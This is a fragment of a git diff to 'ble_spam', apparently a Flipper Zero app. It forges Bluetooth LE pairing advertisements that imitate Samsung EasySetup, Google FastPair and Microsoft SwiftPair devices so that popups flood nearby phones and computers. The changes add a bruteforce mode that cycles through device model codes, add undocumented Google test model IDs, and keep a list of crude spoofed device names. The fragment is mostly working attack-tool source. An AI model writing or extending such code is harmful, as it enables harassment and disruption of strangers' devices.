scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); break; + case na_actions_count + 2: + _cfg->mode = ProtocolModeBruteforce; + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = cfg->data.nearby_action.action; + _cfg->bruteforce.size = 1; + scene_manager_previous_scene(ctx->scene_manager); + break; default: + _cfg->mode = ProtocolModeValue; cfg->data.nearby_action.action = na_actions[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; @@ -707,30 +775,36 @@ static void na_action_callback(void* _ctx, uint32_t index) { } void scene_continuity_na_action_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - bool found = false; submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); - if(cfg->data.nearby_action.action == 0x00) { - found = true; + if(_cfg->mode == ProtocolModeRandom) { selected = 0; } + + bool found = false; for(uint8_t i = 0; i < na_actions_count; i++) { submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); - if(!found && cfg->data.nearby_action.action == na_actions[i].value) { + if(!found && _cfg->mode == ProtocolModeValue && + cfg->data.nearby_action.action == na_actions[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); - if(!found) { - found = true; + if(!found && _cfg->mode == ProtocolModeValue) { selected = na_actions_count + 1; } + submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx); + if(_cfg->mode == ProtocolModeBruteforce) { + selected = na_actions_count + 2; + } + submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); @@ -746,12 +820,17 @@ void scene_continuity_na_action_on_exit(void* _ctx) { static void na_action_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; + _cfg->mode = ProtocolModeValue; + cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_continuity_na_action_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Action Type"); @@ -769,9 +848,7 @@ bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent ev return false; } void scene_continuity_na_action_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); + UNUSED(_ctx); } static void na_flags_callback(void* _ctx) { @@ -780,7 +857,8 @@ static void na_flags_callback(void* _ctx) { } void scene_continuity_na_flags_on_enter(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Press back for automatic"); @@ -801,6 +879,7 @@ bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { } void scene_continuity_na_flags_on_exit(void* _ctx) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + ContinuityCfg* cfg = &_cfg->specific.continuity; cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); } diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index 98a9541de..8aff3521c 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -36,9 +36,9 @@ const struct { const char* name; } watch_models[] = { {0x1A, "Fallback Watch"}, - {0x01, "White Watch4 Classic 44"}, - {0x02, "Black Watch4 Classic 40"}, - {0x03, "White Watch4 Classic 40"}, + {0x01, "White Watch4 Classic 44m"}, + {0x02, "Black Watch4 Classic 40m"}, + {0x03, "White Watch4 Classic 40m"}, {0x04, "Black Watch4 44mm"}, {0x05, "Silver Watch4 44mm"}, {0x06, "Green Watch4 44mm"}, @@ -59,8 +59,8 @@ const struct { {0x1B, "Black Watch6 Pink 40mm"}, {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, - {0x1E, "Black Watch6 Classic 43mm"}, - {0x20, "Green Watch6 Classic 43mm"}, + {0x1E, "Black Watch6 Classic 43m"}, + {0x20, "Green Watch6 Classic 43m"}, }; const uint8_t watch_models_count = COUNT_OF(watch_models); @@ -68,8 +68,8 @@ static const char* type_names[EasysetupTypeCOUNT] = { [EasysetupTypeBuds] = "EasySetup Buds", [EasysetupTypeWatch] = "EasySetup Watch", }; -static const char* easysetup_get_name(const ProtocolCfg* _cfg) { - const EasysetupCfg* cfg = &_cfg->easysetup; +static const char* get_name(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->specific.easysetup; return type_names[cfg->type]; } @@ -77,14 +77,18 @@ static uint8_t packet_sizes[EasysetupTypeCOUNT] = { [EasysetupTypeBuds] = 31, [EasysetupTypeWatch] = 15, }; -void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { - const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL; +void make_packet(uint8_t* out_size, uint8_t** out_packet, ProtocolCfg* _cfg) { + EasysetupCfg* cfg = _cfg ? &_cfg->specific.easysetup : NULL; EasysetupType type; - if(cfg) { + if(cfg && cfg->type != 0x00) { type = cfg->type; } else { - type = rand() % EasysetupTypeCOUNT; + const EasysetupType types[] = { + EasysetupTypeBuds, + EasysetupTypeWatch, + }; + type = types[rand() % COUNT_OF(types)]; } uint8_t size = packet_sizes[type]; @@ -94,10 +98,17 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc switch(type) { case EasysetupTypeBuds: { uint32_t model; - if(cfg && cfg->data.buds.model != 0x000000) { - model = cfg->data.buds.model; - } else { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: model = buds_models[rand() % buds_models_count].value; + break; + case ProtocolModeValue: + model = cfg->data.buds.model; + break; + case ProtocolModeBruteforce: + model = cfg->data.buds.model = _cfg->bruteforce.value; + break; } packet[i++] = 27; // Size @@ -137,10 +148,17 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc } case EasysetupTypeWatch: { uint8_t model; - if(cfg && cfg->data.watch.model != 0x00) { - model = cfg->data.watch.model; - } else { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: model = watch_models[rand() % watch_models_count].value; + break; + case ProtocolModeValue: + model = cfg->data.watch.model; + break; + case ProtocolModeBruteforce: + model = cfg->data.watch.model = _cfg->bruteforce.value; + break; } packet[i++] = 14; // Size @@ -181,7 +199,8 @@ enum { }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(cfg->type) { case EasysetupTypeBuds: { @@ -214,31 +233,36 @@ static void config_callback(void* _ctx, uint32_t index) { } } static void buds_model_changed(VariableItem* item) { - EasysetupCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + EasysetupCfg* cfg = &_cfg->specific.easysetup; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; + _cfg->mode = ProtocolModeValue; cfg->data.buds.model = buds_models[index].value; variable_item_set_current_value_text(item, buds_models[index].name); } else { - cfg->data.buds.model = 0x000000; + _cfg->mode = ProtocolModeRandom; variable_item_set_current_value_text(item, "Random"); } } static void watch_model_changed(VariableItem* item) { - EasysetupCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + EasysetupCfg* cfg = &_cfg->specific.easysetup; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; + _cfg->mode = ProtocolModeValue; cfg->data.watch.model = watch_models[index].value; variable_item_set_current_value_text(item, watch_models[index].name); } else { - cfg->data.watch.model = 0x00; + _cfg->mode = ProtocolModeRandom; variable_item_set_current_value_text(item, "Random"); } } -static void easysetup_extra_config(Ctx* ctx) { - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; +static void extra_config(Ctx* ctx) { + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; VariableItemList* list = ctx->variable_item_list; VariableItem* item; size_t value_index; @@ -246,13 +270,16 @@ static void easysetup_extra_config(Ctx* ctx) { switch(cfg->type) { case EasysetupTypeBuds: { item = variable_item_list_add( - list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); + list, "Model Code", buds_models_count + 1, buds_model_changed, _cfg); const char* model_name = NULL; char model_name_buf[9]; - if(cfg->data.buds.model == 0x000000) { + switch(_cfg->mode) { + case ProtocolModeRandom: + default: model_name = "Random"; value_index = 0; - } else { + break; + case ProtocolModeValue: for(uint8_t i = 0; i < buds_models_count; i++) { if(cfg->data.buds.model == buds_models[i].value) { model_name = buds_models[i].name; @@ -265,6 +292,11 @@ static void easysetup_extra_config(Ctx* ctx) { model_name = model_name_buf; value_index = buds_models_count + 1; } + break; + case ProtocolModeBruteforce: + model_name = "Bruteforce"; + value_index = buds_models_count + 1; + break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); @@ -274,13 +306,16 @@ static void easysetup_extra_config(Ctx* ctx) { } case EasysetupTypeWatch: { item = variable_item_list_add( - list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); + list, "Model Code", watch_models_count + 1, watch_model_changed, _cfg); const char* model_name = NULL; char model_name_buf[3]; - if(cfg->data.watch.model == 0x00) { + switch(_cfg->mode) { + case ProtocolModeRandom: + default: model_name = "Random"; value_index = 0; - } else { + break; + case ProtocolModeValue: for(uint8_t i = 0; i < watch_models_count; i++) { if(cfg->data.watch.model == watch_models[i].value) { model_name = watch_models[i].name; @@ -293,6 +328,11 @@ static void easysetup_extra_config(Ctx* ctx) { model_name = model_name_buf; value_index = watch_models_count + 1; } + break; + case ProtocolModeBruteforce: + model_name = "Bruteforce"; + value_index = watch_models_count + 1; + break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); @@ -309,31 +349,40 @@ static uint8_t config_counts[EasysetupTypeCOUNT] = { [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1, [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1, }; -static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) { - const EasysetupCfg* cfg = &_cfg->easysetup; +static uint8_t config_count(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->specific.easysetup; return config_counts[cfg->type]; } const Protocol protocol_easysetup = { .icon = &I_android, - .get_name = easysetup_get_name, - .make_packet = easysetup_make_packet, - .extra_config = easysetup_extra_config, - .config_count = easysetup_config_count, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, }; static void buds_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; switch(index) { case 0: - cfg->data.buds.model = 0x000000; + _cfg->mode = ProtocolModeRandom; scene_manager_previous_scene(ctx->scene_manager); break; case buds_models_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom); break; + case buds_models_count + 2: + _cfg->mode = ProtocolModeBruteforce; + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = cfg->data.buds.model; + _cfg->bruteforce.size = 3; + scene_manager_previous_scene(ctx->scene_manager); + break; default: + _cfg->mode = ProtocolModeValue; cfg->data.buds.model = buds_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; @@ -341,30 +390,36 @@ static void buds_model_callback(void* _ctx, uint32_t index) { } void scene_easysetup_buds_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - bool found = false; submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); - if(cfg->data.buds.model == 0x000000) { - found = true; + if(_cfg->mode == ProtocolModeRandom) { selected = 0; } + + bool found = false; for(uint8_t i = 0; i < buds_models_count; i++) { submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx); - if(!found && cfg->data.buds.model == buds_models[i].value) { + if(!found && _cfg->mode == ProtocolModeValue && + cfg->data.buds.model == buds_models[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx); - if(!found) { - found = true; + if(!found && _cfg->mode == ProtocolModeValue) { selected = buds_models_count + 1; } + submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx); + if(_cfg->mode == ProtocolModeBruteforce) { + selected = buds_models_count + 2; + } + submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); @@ -380,12 +435,18 @@ void scene_easysetup_buds_model_on_exit(void* _ctx) { static void buds_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; + _cfg->mode = ProtocolModeValue; + cfg->data.buds.model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_easysetup_buds_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -405,24 +466,30 @@ bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent ev return false; } void scene_easysetup_buds_model_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; - cfg->data.buds.model = - (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); + UNUSED(_ctx); } static void watch_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; switch(index) { case 0: - cfg->data.watch.model = 0x00; + _cfg->mode = ProtocolModeRandom; scene_manager_previous_scene(ctx->scene_manager); break; case watch_models_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom); break; + case watch_models_count + 2: + _cfg->mode = ProtocolModeBruteforce; + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = cfg->data.watch.model; + _cfg->bruteforce.size = 1; + scene_manager_previous_scene(ctx->scene_manager); + break; default: + _cfg->mode = ProtocolModeValue; cfg->data.watch.model = watch_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; @@ -430,30 +497,36 @@ static void watch_model_callback(void* _ctx, uint32_t index) { } void scene_easysetup_watch_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - bool found = false; submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); - if(cfg->data.watch.model == 0x00) { - found = true; + if(_cfg->mode == ProtocolModeRandom) { selected = 0; } + + bool found = false; for(uint8_t i = 0; i < watch_models_count; i++) { submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx); - if(!found && cfg->data.watch.model == watch_models[i].value) { + if(!found && _cfg->mode == ProtocolModeValue && + cfg->data.watch.model == watch_models[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx); - if(!found) { - found = true; + if(!found && _cfg->mode == ProtocolModeValue) { selected = watch_models_count + 1; } + submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx); + if(_cfg->mode == ProtocolModeBruteforce) { + selected = watch_models_count + 2; + } + submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); @@ -469,12 +542,17 @@ void scene_easysetup_watch_model_on_exit(void* _ctx) { static void watch_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; + _cfg->mode = ProtocolModeValue; + cfg->data.watch.model = (ctx->byte_store[0] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_easysetup_watch_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + EasysetupCfg* cfg = &_cfg->specific.easysetup; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -492,7 +570,5 @@ bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent e return false; } void scene_easysetup_watch_model_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; - cfg->data.watch.model = (ctx->byte_store[0] << 0x00); + UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/easysetup.h b/applications/external/ble_spam/protocols/easysetup.h index 4c9458538..010dc7ec2 100644 --- a/applications/external/ble_spam/protocols/easysetup.h +++ b/applications/external/ble_spam/protocols/easysetup.h @@ -5,7 +5,7 @@ // Research by @Spooks4576 typedef enum { - EasysetupTypeBuds, + EasysetupTypeBuds = 0x01, // Skip 0 as it means unset EasysetupTypeWatch, EasysetupTypeCOUNT, } EasysetupType; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 1e7c2920c..e4ab936da 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -8,17 +8,43 @@ const struct { uint32_t value; const char* name; } models[] = { + // Genuine actions + {0x00000C, "Set Up Device"}, + + // Genuine non-production/forgotten (good job Google) + {0x0001F0, "Bisto CSR8670 Dev Board"}, + {0x000047, "Arduino 101"}, + {0x00000A, "Anti-Spoof Test"}, + {0x0A0000, "Anti-Spoof Test 2"}, + {0x00000B, "Google Gphones"}, + {0x0B0000, "Google Gphones 2"}, + {0x0C0000, "Google Gphones 3"}, + {0x00000D, "Test 00000D"}, + {0x000007, "Android Auto"}, + {0x070000, "Android Auto 2"}, + {0x000008, "Foocorp Foophones"}, + {0x080000, "Foocorp Foophones 2"}, + {0x000009, "Test Android TV"}, + {0x090000, "Test Android TV 2"}, + {0x000048, "Fast Pair Headphones"}, + {0x000049, "Fast Pair Headphones 2"}, + // Genuine devices {0xCD8256, "Bose NC 700"}, + {0x0000F0, "Bose QuietComfort 35 II"}, + {0x821F66, "JBL Flip 6"}, {0xF52494, "JBL Buds Pro"}, {0x718FA4, "JBL Live 300TWS"}, - {0x821F66, "JBL Flip 6"}, + {0x0002F0, "JBL Everest 110GA"}, {0x92BBBD, "Pixel Buds"}, + {0x000006, "Google Pixel buds"}, + {0x060000, "Google Pixel buds 2"}, {0xD446A7, "Sony XM5"}, {0x2D7A23, "Sony WF-1000XM4"}, {0x0E30C3, "Razer Hammerhead TWS"}, {0x72EF8D, "Razer Hammerhead TWS X"}, {0x72FB00, "Soundcore Spirit Pro GVA"}, + {0x0003F0, "LG HBS-835S"}, // Custom debug popups {0xD99CA1, "Flipper Zero"}, @@ -39,19 +65,26 @@ const struct { }; const uint8_t models_count = COUNT_OF(models); -static const char* fastpair_get_name(const ProtocolCfg* _cfg) { +static const char* get_name(const ProtocolCfg* _cfg) { UNUSED(_cfg); return "FastPair"; } -static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { - const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, ProtocolCfg* _cfg) { + FastpairCfg* cfg = _cfg ? &_cfg->specific.fastpair : NULL; uint32_t model; - if(cfg && cfg->model != 0x000000) { - model = cfg->model; - } else { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: model = models[rand() % models_count].value; + break; + case ProtocolModeValue: + model = cfg->model; + break; + case ProtocolModeBruteforce: + model = cfg->model = _cfg->bruteforce.value; + break; } uint8_t size = 14; @@ -100,30 +133,36 @@ static void config_callback(void* _ctx, uint32_t index) { } } static void model_changed(VariableItem* item) { - FastpairCfg* cfg = variable_item_get_context(item); + ProtocolCfg* _cfg = variable_item_get_context(item); + FastpairCfg* cfg = &_cfg->specific.fastpair; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; + _cfg->mode = ProtocolModeValue; cfg->model = models[index].value; variable_item_set_current_value_text(item, models[index].name); } else { - cfg->model = 0x000000; + _cfg->mode = ProtocolModeRandom; variable_item_set_current_value_text(item, "Random"); } } -static void fastpair_extra_config(Ctx* ctx) { - FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; +static void extra_config(Ctx* ctx) { + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + FastpairCfg* cfg = &_cfg->specific.fastpair; VariableItemList* list = ctx->variable_item_list; VariableItem* item; size_t value_index; - item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg); + item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, _cfg); const char* model_name = NULL; char model_name_buf[9]; - if(cfg->model == 0x000000) { + switch(_cfg->mode) { + case ProtocolModeRandom: + default: model_name = "Random"; value_index = 0; - } else { + break; + case ProtocolModeValue: for(uint8_t i = 0; i < models_count; i++) { if(cfg->model == models[i].value) { model_name = models[i].name; @@ -136,6 +175,11 @@ static void fastpair_extra_config(Ctx* ctx) { model_name = model_name_buf; value_index = models_count + 1; } + break; + case ProtocolModeBruteforce: + model_name = "Bruteforce"; + value_index = models_count + 1; + break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); @@ -145,31 +189,40 @@ static void fastpair_extra_config(Ctx* ctx) { variable_item_list_set_enter_callback(list, config_callback, ctx); } -static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { +static uint8_t config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_fastpair = { .icon = &I_android, - .get_name = fastpair_get_name, - .make_packet = fastpair_make_packet, - .extra_config = fastpair_extra_config, - .config_count = fastpair_config_count, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, }; static void model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; - FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + FastpairCfg* cfg = &_cfg->specific.fastpair; switch(index) { case 0: - cfg->model = 0x000000; + _cfg->mode = ProtocolModeRandom; scene_manager_previous_scene(ctx->scene_manager); break; case models_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom); break; + case models_count + 2: + _cfg->mode = ProtocolModeBruteforce; + _cfg->bruteforce.counter = 0; + _cfg->bruteforce.value = cfg->model; + _cfg->bruteforce.size = 3; + scene_manager_previous_scene(ctx->scene_manager); + break; default: + _cfg->mode = ProtocolModeValue; cfg->model = models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; @@ -177,30 +230,35 @@ static void model_callback(void* _ctx, uint32_t index) { } void scene_fastpair_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; - FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + FastpairCfg* cfg = &_cfg->specific.fastpair; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - bool found = false; submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, model_callback, ctx); - if(cfg->model == 0x000000) { - found = true; + if(_cfg->mode == ProtocolModeRandom) { selected = 0; } + + bool found = false; for(uint8_t i = 0; i < models_count; i++) { submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx); - if(!found && cfg->model == models[i].value) { + if(!found && _cfg->mode == ProtocolModeValue && cfg->model == models[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx); - if(!found) { - found = true; + if(!found && _cfg->mode == ProtocolModeValue) { selected = models_count + 1; } + submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx); + if(_cfg->mode == ProtocolModeBruteforce) { + selected = models_count + 2; + } + submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); @@ -216,12 +274,18 @@ void scene_fastpair_model_on_exit(void* _ctx) { static void model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + FastpairCfg* cfg = &_cfg->specific.fastpair; + _cfg->mode = ProtocolModeValue; + cfg->model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } void scene_fastpair_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; - FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + FastpairCfg* cfg = &_cfg->specific.fastpair; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); @@ -241,8 +305,5 @@ bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_fastpair_model_custom_on_exit(void* _ctx) { - Ctx* ctx = _ctx; - FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; - cfg->model = - (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); + UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index b204f8eef..7fc65cb0d 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,27 +4,33 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { +const char* names[] = { + "Assquach💦", + "Flipper 🐬", + "iOS 17 🍎", + "Kink💦", + "👉👌", + "🔵🦷", +}; +const uint8_t names_count = COUNT_OF(names); + +static const char* get_name(const ProtocolCfg* _cfg) { UNUSED(_cfg); return "SwiftPair"; } -static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, ProtocolCfg* _cfg) { + SwiftpairCfg* cfg = _cfg ? &_cfg->specific.swiftpair : NULL; const char* name; - if(cfg && cfg->name[0] != '\0') { + switch(cfg ? _cfg->mode : ProtocolModeRandom) { + case ProtocolModeRandom: + default: + name = names[rand() % names_count]; + break; + case ProtocolModeValue: name = cfg->name; - } else { - const char* names[] = { - "Assquach💦", - "Flipper 🐬", - "iOS 17 🍎", - "Kink💦", - "👉👌", - "🔵🦷", - }; - name = names[rand() % COUNT_OF(names)]; + break; } uint8_t name_len = strlen(name); @@ -66,43 +72,48 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } -static void swiftpair_extra_config(Ctx* ctx) { - SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; +static void extra_config(Ctx* ctx) { + ProtocolCfg* _cfg = &ctx->attack->payload.cfg; + SwiftpairCfg* cfg = &_cfg->specific.swiftpair; VariableItemList* list = ctx->variable_item_list; VariableItem* item; item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); - variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random"); + variable_item_set_current_value_text( + item, _cfg->mode == ProtocolModeRandom ? "Random" : cfg->name); variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); 